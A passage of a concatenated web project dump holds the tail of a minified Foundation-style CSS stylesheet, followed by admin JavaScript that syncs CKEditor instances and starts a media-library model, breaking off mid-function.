0);-o-transform:translate3d(0%, 0, 0);transform:translate3d(0%, 0, 0);}.right-submenu {-webkit-backface-visibility:hidden;width:15.625rem;top:0;bottom:0;position:absolute;margin:0;overflow-x:hidden;overflow-y:auto;background:#333333;z-index:1002;box-sizing:content-box;-webkit-overflow-scrolling:touch;-ms-transform:translate(100%, 0);-webkit-transform:translate3d(100%, 0, 0);-moz-transform:translate3d(100%, 0, 0);-ms-transform:translate3d(100%, 0, 0);-o-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0);right:0;-webkit-transition:-webkit-transform 500ms ease;-moz-transition:-moz-transform 500ms ease;-ms-transition:-ms-transform 500ms ease;-o-transition:-o-transform 500ms ease;transition:transform 500ms ease;}.right-submenu * {-webkit-backface-visibility:hidden;}.right-submenu .back>a {padding:0.3rem 0.9375rem;color:#999999;text-transform:uppercase;font-weight:bold;background:#444444;border-top:1px solid #5e5e5e;border-bottom:none;margin:0;}.right-submenu .back > a:hover {background:#303030;border-top:1px solid #5e5e5e;border-bottom:none;}.right-submenu .back > a:after {content:"\BB";margin-left:0.5rem;display:inline;}.right-submenu.move-left {-ms-transform:translate(0%, 0);-webkit-transform:translate3d(0%, 0, 0);-moz-transform:translate3d(0%, 0, 0);-ms-transform:translate3d(0%, 0, 0);-o-transform:translate3d(0%, 0, 0);transform:translate3d(0%, 0, 0);}.left-off-canvas-menu ul.off-canvas-list li.has-submenu>a:after {content:"\BB";margin-left:0.5rem;display:inline;}.right-off-canvas-menu ul.off-canvas-list li.has-submenu>a:before {content:"\AB";margin-right:0.5rem;display:inline;}@media only screen{.show-for-small-only ,.show-for-small-up ,.show-for-small ,.show-for-small-down ,.hide-for-medium-only ,.hide-for-medium-up ,.hide-for-medium ,.show-for-medium-down ,.hide-for-large-only ,.hide-for-large-up ,.hide-for-large ,.show-for-large-down ,.hide-for-xlarge-only ,.hide-for-xlarge-up ,.hide-for-xxlarge-only ,.hide-for-xxlarge-up {display:inherit !important;}.hide-for-small-only ,.hide-for-small-up ,.hide-for-small ,.hide-for-small-down ,.show-for-medium-only ,.show-for-medium-up ,.show-for-medium ,.hide-for-medium-down ,.show-for-large-only ,.show-for-large-up ,.show-for-large ,.hide-for-large-down ,.show-for-xlarge-only ,.show-for-xlarge-up ,.show-for-xxlarge-only ,.show-for-xxlarge-up {display:none !important;}.visible-for-small-only ,.visible-for-small-up ,.visible-for-small ,.visible-for-small-down ,.hidden-for-medium-only ,.hidden-for-medium-up ,.hidden-for-medium ,.visible-for-medium-down ,.hidden-for-large-only ,.hidden-for-large-up ,.hidden-for-large ,.visible-for-large-down ,.hidden-for-xlarge-only ,.hidden-for-xlarge-up ,.hidden-for-xxlarge-only ,.hidden-for-xxlarge-up {position:static !important;height:auto;width:auto;overflow:visible;clip:auto;}.hidden-for-small-only ,.hidden-for-small-up ,.hidden-for-small ,.hidden-for-small-down ,.visible-for-medium-only ,.visible-for-medium-up ,.visible-for-medium ,.hidden-for-medium-down ,.visible-for-large-only ,.visible-for-large-up ,.visible-for-large ,.hidden-for-large-down ,.visible-for-xlarge-only ,.visible-for-xlarge-up ,.visible-for-xxlarge-only ,.visible-for-xxlarge-up {position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}table.show-for-small-only ,table.show-for-small-up ,table.show-for-small ,table.show-for-small-down ,table.hide-for-medium-only ,table.hide-for-medium-up ,table.hide-for-medium ,table.show-for-medium-down ,table.hide-for-large-only ,table.hide-for-large-up ,table.hide-for-large ,table.show-for-large-down ,table.hide-for-xlarge-only ,table.hide-for-xlarge-up ,table.hide-for-xxlarge-only ,table.hide-for-xxlarge-up {display:table !important;}thead.show-for-small-only ,thead.show-for-small-up ,thead.show-for-small ,thead.show-for-small-down ,thead.hide-for-medium-only ,thead.hide-for-medium-up ,thead.hide-for-medium ,thead.show-for-medium-down ,thead.hide-for-large-only ,thead.hide-for-large-up ,thead.hide-for-large ,thead.show-for-large-down ,thead.hide-for-xlarge-only ,thead.hide-for-xlarge-up ,thead.hide-for-xxlarge-only ,thead.hide-for-xxlarge-up {display:table-header-group !important;}tbody.show-for-small-only ,tbody.show-for-small-up ,tbody.show-for-small ,tbody.show-for-small-down ,tbody.hide-for-medium-only ,tbody.hide-for-medium-up ,tbody.hide-for-medium ,tbody.show-for-medium-down ,tbody.hide-for-large-only ,tbody.hide-for-large-up ,tbody.hide-for-large ,tbody.show-for-large-down ,tbody.hide-for-xlarge-only ,tbody.hide-for-xlarge-up ,tbody.hide-for-xxlarge-only ,tbody.hide-for-xxlarge-up {display:table-row-group !important;}tr.show-for-small-only ,tr.show-for-small-up ,tr.show-for-small ,tr.show-for-small-down ,tr.hide-for-medium-only ,tr.hide-for-medium-up ,tr.hide-for-medium ,tr.show-for-medium-down ,tr.hide-for-large-only ,tr.hide-for-large-up ,tr.hide-for-large ,tr.show-for-large-down ,tr.hide-for-xlarge-only ,tr.hide-for-xlarge-up ,tr.hide-for-xxlarge-only ,tr.hide-for-xxlarge-up {display:table-row !important;}th.show-for-small-only ,td.show-for-small-only ,th.show-for-small-up ,td.show-for-small-up ,th.show-for-small ,td.show-for-small ,th.show-for-small-down ,td.show-for-small-down ,th.hide-for-medium-only ,td.hide-for-medium-only ,th.hide-for-medium-up ,td.hide-for-medium-up ,th.hide-for-medium ,td.hide-for-medium ,th.show-for-medium-down ,td.show-for-medium-down ,th.hide-for-large-only ,td.hide-for-large-only ,th.hide-for-large-up ,td.hide-for-large-up ,th.hide-for-large ,td.hide-for-large ,th.show-for-large-down ,td.show-for-large-down ,th.hide-for-xlarge-only ,td.hide-for-xlarge-only ,th.hide-for-xlarge-up ,td.hide-for-xlarge-up ,th.hide-for-xxlarge-only ,td.hide-for-xxlarge-only ,th.hide-for-xxlarge-up ,td.hide-for-xxlarge-up {display:table-cell !important;}}@media only screen and (min-width:40.063em){.hide-for-small-only ,.show-for-small-up ,.hide-for-small ,.hide-for-small-down ,.show-for-medium-only ,.show-for-medium-up ,.show-for-medium ,.show-for-medium-down ,.hide-for-large-only ,.hide-for-large-up ,.hide-for-large ,.show-for-large-down ,.hide-for-xlarge-only ,.hide-for-xlarge-up ,.hide-for-xxlarge-only ,.hide-for-xxlarge-up {display:inherit !important;}.show-for-small-only ,.hide-for-small-up ,.show-for-small ,.show-for-small-down ,.hide-for-medium-only ,.hide-for-medium-up ,.hide-for-medium ,.hide-for-medium-down ,.show-for-large-only ,.show-for-large-up ,.show-for-large ,.hide-for-large-down ,.show-for-xlarge-only ,.show-for-xlarge-up ,.show-for-xxlarge-only ,.show-for-xxlarge-up {display:none !important;}.hidden-for-small-only ,.visible-for-small-up ,.hidden-for-small ,.hidden-for-small-down ,.visible-for-medium-only ,.visible-for-medium-up ,.visible-for-medium ,.visible-for-medium-down ,.hidden-for-large-only ,.hidden-for-large-up ,.hidden-for-large ,.visible-for-large-down ,.hidden-for-xlarge-only ,.hidden-for-xlarge-up ,.hidden-for-xxlarge-only ,.hidden-for-xxlarge-up {position:static !important;height:auto;width:auto;overflow:visible;clip:auto;}.visible-for-small-only ,.hidden-for-small-up ,.visible-for-small ,.visible-for-small-down ,.hidden-for-medium-only ,.hidden-for-medium-up ,.hidden-for-medium ,.hidden-for-medium-down ,.visible-for-large-only ,.visible-for-large-up ,.visible-for-large ,.hidden-for-large-down ,.visible-for-xlarge-only ,.visible-for-xlarge-up ,.visible-for-xxlarge-only ,.visible-for-xxlarge-up {position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}table.hide-for-small-only ,table.show-for-small-up ,table.hide-for-small ,table.hide-for-small-down ,table.show-for-medium-only ,table.show-for-medium-up ,table.show-for-medium ,table.show-for-medium-down ,table.hide-for-large-only ,table.hide-for-large-up ,table.hide-for-large ,table.show-for-large-down ,table.hide-for-xlarge-only ,table.hide-for-xlarge-up ,table.hide-for-xxlarge-only ,table.hide-for-xxlarge-up {display:table !important;}thead.hide-for-small-only ,thead.show-for-small-up ,thead.hide-for-small ,thead.hide-for-small-down ,thead.show-for-medium-only ,thead.show-for-medium-up ,thead.show-for-medium ,thead.show-for-medium-down ,thead.hide-for-large-only ,thead.hide-for-large-up ,thead.hide-for-large ,thead.show-for-large-down ,thead.hide-for-xlarge-only ,thead.hide-for-xlarge-up ,thead.hide-for-xxlarge-only ,thead.hide-for-xxlarge-up {display:table-header-group !important;}tbody.hide-for-small-only ,tbody.show-for-small-up ,tbody.hide-for-small ,tbody.hide-for-small-down ,tbody.show-for-medium-only ,tbody.show-for-medium-up ,tbody.show-for-medium ,tbody.show-for-medium-down ,tbody.hide-for-large-only ,tbody.hide-for-large-up ,tbody.hide-for-large ,tbody.show-for-large-down ,tbody.hide-for-xlarge-only ,tbody.hide-for-xlarge-up ,tbody.hide-for-xxlarge-only ,tbody.hide-for-xxlarge-up {display:table-row-group !important;}tr.hide-for-small-only ,tr.show-for-small-up ,tr.hide-for-small ,tr.hide-for-small-down ,tr.show-for-medium-only ,tr.show-for-medium-up ,tr.show-for-medium ,tr.show-for-medium-down ,tr.hide-for-large-only ,tr.hide-for-large-up ,tr.hide-for-large ,tr.show-for-large-down ,tr.hide-for-xlarge-only ,tr.hide-for-xlarge-up ,tr.hide-for-xxlarge-only ,tr.hide-for-xxlarge-up {display:table-row !important;}th.hide-for-small-only ,td.hide-for-small-only ,th.show-for-small-up ,td.show-for-small-up ,th.hide-for-small ,td.hide-for-small ,th.hide-for-small-down ,td.hide-for-small-down ,th.show-for-medium-only ,td.show-for-medium-only ,th.show-for-medium-up ,td.show-for-medium-up ,th.show-for-medium ,td.show-for-medium ,th.show-for-medium-down ,td.show-for-medium-down ,th.hide-for-large-only ,td.hide-for-large-only ,th.hide-for-large-up ,td.hide-for-large-up ,th.hide-for-large ,td.hide-for-large ,th.show-for-large-down ,td.show-for-large-down ,th.hide-for-xlarge-only ,td.hide-for-xlarge-only ,th.hide-for-xlarge-up ,td.hide-for-xlarge-up ,th.hide-for-xxlarge-only ,td.hide-for-xxlarge-only ,th.hide-for-xxlarge-up ,td.hide-for-xxlarge-up {display:table-cell !important;}}@media only screen and (min-width:64.063em){.hide-for-small-only ,.show-for-small-up ,.hide-for-small ,.hide-for-small-down ,.hide-for-medium-only ,.show-for-medium-up ,.hide-for-medium ,.hide-for-medium-down ,.show-for-large-only ,.show-for-large-up ,.show-for-large ,.show-for-large-down ,.hide-for-xlarge-only ,.hide-for-xlarge-up ,.hide-for-xxlarge-only ,.hide-for-xxlarge-up {display:inherit !important;}.show-for-small-only ,.hide-for-small-up ,.show-for-small ,.show-for-small-down ,.show-for-medium-only ,.hide-for-medium-up ,.show-for-medium ,.show-for-medium-down ,.hide-for-large-only ,.hide-for-large-up ,.hide-for-large ,.hide-for-large-down ,.show-for-xlarge-only ,.show-for-xlarge-up ,.show-for-xxlarge-only ,.show-for-xxlarge-up {display:none !important;}.hidden-for-small-only ,.visible-for-small-up ,.hidden-for-small ,.hidden-for-small-down ,.hidden-for-medium-only ,.visible-for-medium-up ,.hidden-for-medium ,.hidden-for-medium-down ,.visible-for-large-only ,.visible-for-large-up ,.visible-for-large ,.visible-for-large-down ,.hidden-for-xlarge-only ,.hidden-for-xlarge-up ,.hidden-for-xxlarge-only ,.hidden-for-xxlarge-up {position:static !important;height:auto;width:auto;overflow:visible;clip:auto;}.visible-for-small-only ,.hidden-for-small-up ,.visible-for-small ,.visible-for-small-down ,.visible-for-medium-only ,.hidden-for-medium-up ,.visible-for-medium ,.visible-for-medium-down ,.hidden-for-large-only ,.hidden-for-large-up ,.hidden-for-large ,.hidden-for-large-down ,.visible-for-xlarge-only ,.visible-for-xlarge-up ,.visible-for-xxlarge-only ,.visible-for-xxlarge-up {position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}table.hide-for-small-only ,table.show-for-small-up ,table.hide-for-small ,table.hide-for-small-down ,table.hide-for-medium-only ,table.show-for-medium-up ,table.hide-for-medium ,table.hide-for-medium-down ,table.show-for-large-only ,table.show-for-large-up ,table.show-for-large ,table.show-for-large-down ,table.hide-for-xlarge-only ,table.hide-for-xlarge-up ,table.hide-for-xxlarge-only ,table.hide-for-xxlarge-up {display:table !important;}thead.hide-for-small-only ,thead.show-for-small-up ,thead.hide-for-small ,thead.hide-for-small-down ,thead.hide-for-medium-only ,thead.show-for-medium-up ,thead.hide-for-medium ,thead.hide-for-medium-down ,thead.show-for-large-only ,thead.show-for-large-up ,thead.show-for-large ,thead.show-for-large-down ,thead.hide-for-xlarge-only ,thead.hide-for-xlarge-up ,thead.hide-for-xxlarge-only ,thead.hide-for-xxlarge-up {display:table-header-group !important;}tbody.hide-for-small-only ,tbody.show-for-small-up ,tbody.hide-for-small ,tbody.hide-for-small-down ,tbody.hide-for-medium-only ,tbody.show-for-medium-up ,tbody.hide-for-medium ,tbody.hide-for-medium-down ,tbody.show-for-large-only ,tbody.show-for-large-up ,tbody.show-for-large ,tbody.show-for-large-down ,tbody.hide-for-xlarge-only ,tbody.hide-for-xlarge-up ,tbody.hide-for-xxlarge-only ,tbody.hide-for-xxlarge-up {display:table-row-group !important;}tr.hide-for-small-only ,tr.show-for-small-up ,tr.hide-for-small ,tr.hide-for-small-down ,tr.hide-for-medium-only ,tr.show-for-medium-up ,tr.hide-for-medium ,tr.hide-for-medium-down ,tr.show-for-large-only ,tr.show-for-large-up ,tr.show-for-large ,tr.show-for-large-down ,tr.hide-for-xlarge-only ,tr.hide-for-xlarge-up ,tr.hide-for-xxlarge-only ,tr.hide-for-xxlarge-up {display:table-row !important;}th.hide-for-small-only ,td.hide-for-small-only ,th.show-for-small-up ,td.show-for-small-up ,th.hide-for-small ,td.hide-for-small ,th.hide-for-small-down ,td.hide-for-small-down ,th.hide-for-medium-only ,td.hide-for-medium-only ,th.show-for-medium-up ,td.show-for-medium-up ,th.hide-for-medium ,td.hide-for-medium ,th.hide-for-medium-down ,td.hide-for-medium-down ,th.show-for-large-only ,td.show-for-large-only ,th.show-for-large-up ,td.show-for-large-up ,th.show-for-large ,td.show-for-large ,th.show-for-large-down ,td.show-for-large-down ,th.hide-for-xlarge-only ,td.hide-for-xlarge-only ,th.hide-for-xlarge-up ,td.hide-for-xlarge-up ,th.hide-for-xxlarge-only ,td.hide-for-xxlarge-only ,th.hide-for-xxlarge-up ,td.hide-for-xxlarge-up {display:table-cell !important;}}@media only screen and (min-width:90.063em){.hide-for-small-only ,.show-for-small-up ,.hide-for-small ,.hide-for-small-down ,.hide-for-medium-only ,.show-for-medium-up ,.hide-for-medium ,.hide-for-medium-down ,.hide-for-large-only ,.show-for-large-up ,.hide-for-large ,.hide-for-large-down ,.show-for-xlarge-only ,.show-for-xlarge-up ,.hide-for-xxlarge-only ,.hide-for-xxlarge-up {display:inherit !important;}.show-for-small-only ,.hide-for-small-up ,.show-for-small ,.show-for-small-down ,.show-for-medium-only ,.hide-for-medium-up ,.show-for-medium ,.show-for-medium-down ,.show-for-large-only ,.hide-for-large-up ,.show-for-large ,.show-for-large-down ,.hide-for-xlarge-only ,.hide-for-xlarge-up ,.show-for-xxlarge-only ,.show-for-xxlarge-up {display:none !important;}.hidden-for-small-only ,.visible-for-small-up ,.hidden-for-small ,.hidden-for-small-down ,.hidden-for-medium-only ,.visible-for-medium-up ,.hidden-for-medium ,.hidden-for-medium-down ,.hidden-for-large-only ,.visible-for-large-up ,.hidden-for-large ,.hidden-for-large-down ,.visible-for-xlarge-only ,.visible-for-xlarge-up ,.hidden-for-xxlarge-only ,.hidden-for-xxlarge-up {position:static !important;height:auto;width:auto;overflow:visible;clip:auto;}.visible-for-small-only ,.hidden-for-small-up ,.visible-for-small ,.visible-for-small-down ,.visible-for-medium-only ,.hidden-for-medium-up ,.visible-for-medium ,.visible-for-medium-down ,.visible-for-large-only ,.hidden-for-large-up ,.visible-for-large ,.visible-for-large-down ,.hidden-for-xlarge-only ,.hidden-for-xlarge-up ,.visible-for-xxlarge-only ,.visible-for-xxlarge-up {position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}table.hide-for-small-only ,table.show-for-small-up ,table.hide-for-small ,table.hide-for-small-down ,table.hide-for-medium-only ,table.show-for-medium-up ,table.hide-for-medium ,table.hide-for-medium-down ,table.hide-for-large-only ,table.show-for-large-up ,table.hide-for-large ,table.hide-for-large-down ,table.show-for-xlarge-only ,table.show-for-xlarge-up ,table.hide-for-xxlarge-only ,table.hide-for-xxlarge-up {display:table !important;}thead.hide-for-small-only ,thead.show-for-small-up ,thead.hide-for-small ,thead.hide-for-small-down ,thead.hide-for-medium-only ,thead.show-for-medium-up ,thead.hide-for-medium ,thead.hide-for-medium-down ,thead.hide-for-large-only ,thead.show-for-large-up ,thead.hide-for-large ,thead.hide-for-large-down ,thead.show-for-xlarge-only ,thead.show-for-xlarge-up ,thead.hide-for-xxlarge-only ,thead.hide-for-xxlarge-up {display:table-header-group !important;}tbody.hide-for-small-only ,tbody.show-for-small-up ,tbody.hide-for-small ,tbody.hide-for-small-down ,tbody.hide-for-medium-only ,tbody.show-for-medium-up ,tbody.hide-for-medium ,tbody.hide-for-medium-down ,tbody.hide-for-large-only ,tbody.show-for-large-up ,tbody.hide-for-large ,tbody.hide-for-large-down ,tbody.show-for-xlarge-only ,tbody.show-for-xlarge-up ,tbody.hide-for-xxlarge-only ,tbody.hide-for-xxlarge-up {display:table-row-group !important;}tr.hide-for-small-only ,tr.show-for-small-up ,tr.hide-for-small ,tr.hide-for-small-down ,tr.hide-for-medium-only ,tr.show-for-medium-up ,tr.hide-for-medium ,tr.hide-for-medium-down ,tr.hide-for-large-only ,tr.show-for-large-up ,tr.hide-for-large ,tr.hide-for-large-down ,tr.show-for-xlarge-only ,tr.show-for-xlarge-up ,tr.hide-for-xxlarge-only ,tr.hide-for-xxlarge-up {display:table-row !important;}th.hide-for-small-only ,td.hide-for-small-only ,th.show-for-small-up ,td.show-for-small-up ,th.hide-for-small ,td.hide-for-small ,th.hide-for-small-down ,td.hide-for-small-down ,th.hide-for-medium-only ,td.hide-for-medium-only ,th.show-for-medium-up ,td.show-for-medium-up ,th.hide-for-medium ,td.hide-for-medium ,th.hide-for-medium-down ,td.hide-for-medium-down ,th.hide-for-large-only ,td.hide-for-large-only ,th.show-for-large-up ,td.show-for-large-up ,th.hide-for-large ,td.hide-for-large ,th.hide-for-large-down ,td.hide-for-large-down ,th.show-for-xlarge-only ,td.show-for-xlarge-only ,th.show-for-xlarge-up ,td.show-for-xlarge-up ,th.hide-for-xxlarge-only ,td.hide-for-xxlarge-only ,th.hide-for-xxlarge-up ,td.hide-for-xxlarge-up {display:table-cell !important;}}@media only screen and (min-width:120.063em){.hide-for-small-only ,.show-for-small-up ,.hide-for-small ,.hide-for-small-down ,.hide-for-medium-only ,.show-for-medium-up ,.hide-for-medium ,.hide-for-medium-down ,.hide-for-large-only ,.show-for-large-up ,.hide-for-large ,.hide-for-large-down ,.hide-for-xlarge-only ,.show-for-xlarge-up ,.show-for-xxlarge-only ,.show-for-xxlarge-up {display:inherit !important;}.show-for-small-only ,.hide-for-small-up ,.show-for-small ,.show-for-small-down ,.show-for-medium-only ,.hide-for-medium-up ,.show-for-medium ,.show-for-medium-down ,.show-for-large-only ,.hide-for-large-up ,.show-for-large ,.show-for-large-down ,.show-for-xlarge-only ,.hide-for-xlarge-up ,.hide-for-xxlarge-only ,.hide-for-xxlarge-up {display:none !important;}.hidden-for-small-only ,.visible-for-small-up ,.hidden-for-small ,.hidden-for-small-down ,.hidden-for-medium-only ,.visible-for-medium-up ,.hidden-for-medium ,.hidden-for-medium-down ,.hidden-for-large-only ,.visible-for-large-up ,.hidden-for-large ,.hidden-for-large-down ,.hidden-for-xlarge-only ,.visible-for-xlarge-up ,.visible-for-xxlarge-only ,.visible-for-xxlarge-up {position:static !important;height:auto;width:auto;overflow:visible;clip:auto;}.visible-for-small-only ,.hidden-for-small-up ,.visible-for-small ,.visible-for-small-down ,.visible-for-medium-only ,.hidden-for-medium-up ,.visible-for-medium ,.visible-for-medium-down ,.visible-for-large-only ,.hidden-for-large-up ,.visible-for-large ,.visible-for-large-down ,.visible-for-xlarge-only ,.hidden-for-xlarge-up ,.hidden-for-xxlarge-only ,.hidden-for-xxlarge-up {position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}table.hide-for-small-only ,table.show-for-small-up ,table.hide-for-small ,table.hide-for-small-down ,table.hide-for-medium-only ,table.show-for-medium-up ,table.hide-for-medium ,table.hide-for-medium-down ,table.hide-for-large-only ,table.show-for-large-up ,table.hide-for-large ,table.hide-for-large-down ,table.hide-for-xlarge-only ,table.show-for-xlarge-up ,table.show-for-xxlarge-only ,table.show-for-xxlarge-up {display:table !important;}thead.hide-for-small-only ,thead.show-for-small-up ,thead.hide-for-small ,thead.hide-for-small-down ,thead.hide-for-medium-only ,thead.show-for-medium-up ,thead.hide-for-medium ,thead.hide-for-medium-down ,thead.hide-for-large-only ,thead.show-for-large-up ,thead.hide-for-large ,thead.hide-for-large-down ,thead.hide-for-xlarge-only ,thead.show-for-xlarge-up ,thead.show-for-xxlarge-only ,thead.show-for-xxlarge-up {display:table-header-group !important;}tbody.hide-for-small-only ,tbody.show-for-small-up ,tbody.hide-for-small ,tbody.hide-for-small-down ,tbody.hide-for-medium-only ,tbody.show-for-medium-up ,tbody.hide-for-medium ,tbody.hide-for-medium-down ,tbody.hide-for-large-only ,tbody.show-for-large-up ,tbody.hide-for-large ,tbody.hide-for-large-down ,tbody.hide-for-xlarge-only ,tbody.show-for-xlarge-up ,tbody.show-for-xxlarge-only ,tbody.show-for-xxlarge-up {display:table-row-group !important;}tr.hide-for-small-only ,tr.show-for-small-up ,tr.hide-for-small ,tr.hide-for-small-down ,tr.hide-for-medium-only ,tr.show-for-medium-up ,tr.hide-for-medium ,tr.hide-for-medium-down ,tr.hide-for-large-only ,tr.show-for-large-up ,tr.hide-for-large ,tr.hide-for-large-down ,tr.hide-for-xlarge-only ,tr.show-for-xlarge-up ,tr.show-for-xxlarge-only ,tr.show-for-xxlarge-up {display:table-row !important;}th.hide-for-small-only ,td.hide-for-small-only ,th.show-for-small-up ,td.show-for-small-up ,th.hide-for-small ,td.hide-for-small ,th.hide-for-small-down ,td.hide-for-small-down ,th.hide-for-medium-only ,td.hide-for-medium-only ,th.show-for-medium-up ,td.show-for-medium-up ,th.hide-for-medium ,td.hide-for-medium ,th.hide-for-medium-down ,td.hide-for-medium-down ,th.hide-for-large-only ,td.hide-for-large-only ,th.show-for-large-up ,td.show-for-large-up ,th.hide-for-large ,td.hide-for-large ,th.hide-for-large-down ,td.hide-for-large-down ,th.hide-for-xlarge-only ,td.hide-for-xlarge-only ,th.show-for-xlarge-up ,td.show-for-xlarge-up ,th.show-for-xxlarge-only ,td.show-for-xxlarge-only ,th.show-for-xxlarge-up ,td.show-for-xxlarge-up {display:table-cell !important;}}.show-for-landscape ,.hide-for-portrait {display:inherit !important;}.hide-for-landscape ,.show-for-portrait {display:none !important;}table.hide-for-landscape ,table.show-for-portrait {display:table !important;}thead.hide-for-landscape ,thead.show-for-portrait {display:table-header-group !important;}tbody.hide-for-landscape ,tbody.show-for-portrait {display:table-row-group !important;}tr.hide-for-landscape ,tr.show-for-portrait {display:table-row !important;}td.hide-for-landscape ,td.show-for-portrait ,th.hide-for-landscape ,th.show-for-portrait {display:table-cell !important;}@media only screen and (orientation: landscape){.show-for-landscape ,.hide-for-portrait {display:inherit !important;}.hide-for-landscape ,.show-for-portrait {display:none !important;}table.show-for-landscape ,table.hide-for-portrait {display:table !important;}thead.show-for-landscape ,thead.hide-for-portrait {display:table-header-group !important;}tbody.show-for-landscape ,tbody.hide-for-portrait {display:table-row-group !important;}tr.show-for-landscape ,tr.hide-for-portrait {display:table-row !important;}td.show-for-landscape ,td.hide-for-portrait ,th.show-for-landscape ,th.hide-for-portrait {display:table-cell !important;}}@media only screen and (orientation: portrait){.show-for-portrait ,.hide-for-landscape {display:inherit !important;}.hide-for-portrait ,.show-for-landscape {display:none !important;}table.show-for-portrait ,table.hide-for-landscape {display:table !important;}thead.show-for-portrait ,thead.hide-for-landscape {display:table-header-group !important;}tbody.show-for-portrait ,tbody.hide-for-landscape {display:table-row-group !important;}tr.show-for-portrait ,tr.hide-for-landscape {display:table-row !important;}td.show-for-portrait ,td.hide-for-landscape ,th.show-for-portrait ,th.hide-for-landscape {display:table-cell !important;}}.show-for-touch {display:none !important;}.hide-for-touch {display:inherit !important;}.touch .show-for-touch {display:inherit !important;}.touch .hide-for-touch {display:none !important;}table.hide-for-touch {display:table !important;}.touch table.show-for-touch {display:table !important;}thead.hide-for-touch {display:table-header-group !important;}.touch thead.show-for-touch {display:table-header-group !important;}tbody.hide-for-touch {display:table-row-group !important;}.touch tbody.show-for-touch {display:table-row-group !important;}tr.hide-for-touch {display:table-row !important;}.touch tr.show-for-touch {display:table-row !important;}td.hide-for-touch {display:table-cell !important;}.touch td.show-for-touch {display:table-cell !important;}th.hide-for-touch {display:table-cell !important;}.touch th.show-for-touch {display:table-cell !important;}@media print{.show-for-print {display:block;}.hide-for-print {display:none;}table.show-for-print {display:table !important;}thead.show-for-print {display:table-header-group !important;}tbody.show-for-print {display:table-row-group !important;}tr.show-for-print {display:table-row !important;}td.show-for-print {display:table-cell !important;}th.show-for-print {display:table-cell !important;}}h1 ,h2 ,h3 {font-family:'Cuprum',sans-serif;text-transform:uppercase;}.top-bar {font-family:'Cuprum',sans-serif;}.top-bar .title-area {background:#ffffff;}.top-bar .title-area li.name h1 a {color:#000000;}.orbit-caption p {margin-bottom:0px;color:#000000;}.panel-top {border-style:solid;border-width:0px;border-color:#d7d7d7;margin-bottom:0.0625rem;padding:0;background:#f2f2f2;color:#333333;margin-bottom:0.0625rem;}.panel-top>:first-child {margin-top:0;}.panel-top>:last-child {margin-bottom:0;}.panel-top h1 ,.panel-top h2 ,.panel-top h3 ,.panel-top h4 ,.panel-top h5 ,.panel-top h6 ,.panel-top p ,.panel-top li ,.panel-top dl {color:#333333;}.panel-top h1 ,.panel-top h2 ,.panel-top h3 ,.panel-top h4 ,.panel-top h5 ,.panel-top h6 {line-height:1;margin-bottom:0.625rem;}.panel-top h1.subheader ,.panel-top h2.subheader ,.panel-top h3.subheader ,.panel-top h4.subheader ,.panel-top h5.subheader ,.panel-top h6.subheader {line-height:1.4;}.panel-one {border-style:solid;border-width:0px;border-color:#d7d7d7;margin-bottom:0.0625rem;padding:0;background:#f2f2f2;color:#333333;margin-bottom:0;padding-top:0.125rem;}.panel-one>:first-child {margin-top:0;}.panel-one>:last-child {margin-bottom:0;}.panel-one h1 ,.panel-one h2 ,.panel-one h3 ,.panel-one h4 ,.panel-one h5 ,.panel-one h6 ,.panel-one p ,.panel-one li ,.panel-one dl {color:#333333;}.panel-one h1 ,.panel-one h2 ,.panel-one h3 ,.panel-one h4 ,.panel-one h5 ,.panel-one h6 {line-height:1;margin-bottom:0.625rem;}.panel-one h1.subheader ,.panel-one h2.subheader ,.panel-one h3.subheader ,.panel-one h4.subheader ,.panel-one h5.subheader ,.panel-one h6.subheader {line-height:1.4;}.panel-one img {float:left !important;margin:0px 8px 4px 4px !important;}.panel-one h2 {font-size:1.125rem;padding-left:0.25rem;}.panel-one h3 {font-size:0.75rem;}.panel-one time {color:#000000;font-size:0.625rem;}.path-container {margin-top:50px;margin-bottom:70px;}.path-container .path-item h1 {text-align:center;margin-bottom:70px;}.path-container .path-item h3 {margin-bottom:10px;line-height:1.15;}.path-container .path-item p {font-size:1rem;line-height:1.7;margin-bottom:25px;}.path-container .path-item a {font-weight:bold;font-size:0.875rem;}.path-container .path-item .circle {background-color:#cccccc;background-size:156px 156px;border-radius:50%;width:156px;height:156px;position:relative;margin-bottom:180px;z-index:2;}.path-container .path-item .circle.circle-left {left:-7px;}.path-container .path-item .circle.circle-right {right:-10px;}.path-container .line {background:#dddddd;width:2px;bottom:0;position:absolute;top:160px;left:50%;z-index:0;height:1164px;}@media only screen and (max-width: 800px) and (min-width: 768px){.line {display:none !important;}.large-5.columns.path-text {width:70%;right:0;margin-left:15px;}.path-item .large-7 {width:25%;}.push-5 {left:0;float:right;}.circle-right {float:left;right:0px !important;}.circle-left {left:0px !important;}}@media only screen and (max-width: 767px){.path-container {text-align:center;}.path-container .circle {top:0;right:0;left:0;float:none;margin-bottom:30px !important;margin-top:60px;margin-left:auto;margin-right:auto;}}

================================================
FILE: src/public/assets/admin/js/app.js
================================================
var updateCKEditor = function () {
    try {
        for (var instanceName in CKEDITOR.instances) {
            CKEDITOR.instances[instanceName].updateElement();
        }
    } catch (e) {
        alert(e);
    }
};

$(document).foundation();

================================================
FILE: src/public/assets/admin/js/media.js
================================================
// media
function MediaModel() {

    var handle = this;
    var self = this;
    var token = null;

    var admin = 0;
    var page = 0;
    var type = 0;
    var item_id = 0;
    
    var controller = 'multimedia';
    var list_hold = $('#media_list_hold');
    var detail_list_hold = $('#media_list_hold');
    var info_hold = $('#media_info');

    var media_id = false;
    var reorder = 0;
    var list_view = 'thumb';
    var gate = Conf.gate;

    var msg = {
        deleted: "Media item deleted",
        confirm: "Are you sure?",
        loading: "Loading..."
    };

    var state = state_obj || {};
    // public state handler
    var log = function (msg, type) {
        state.log(self.controller + "_out", msg, type);
    };

    var render = function (hold, content) {
        hold.html(content);
    };

    this.tooltip = function (state) {
        if (state)
            $("#category_tooltip").show();
        else
            $("#category_tooltip").hide();
    };
    this.tooltip_category = function (state) {
        if (state)
            $("#category_tooltip").show();
        else
            $("#category_tooltip").hide();
    };

    this.close_info = function (id) {
        if (id == undefined)
            return;
        $("#media_detail_hold_" + id).empty();
        $("#media_detail_hold_" + id).hide();
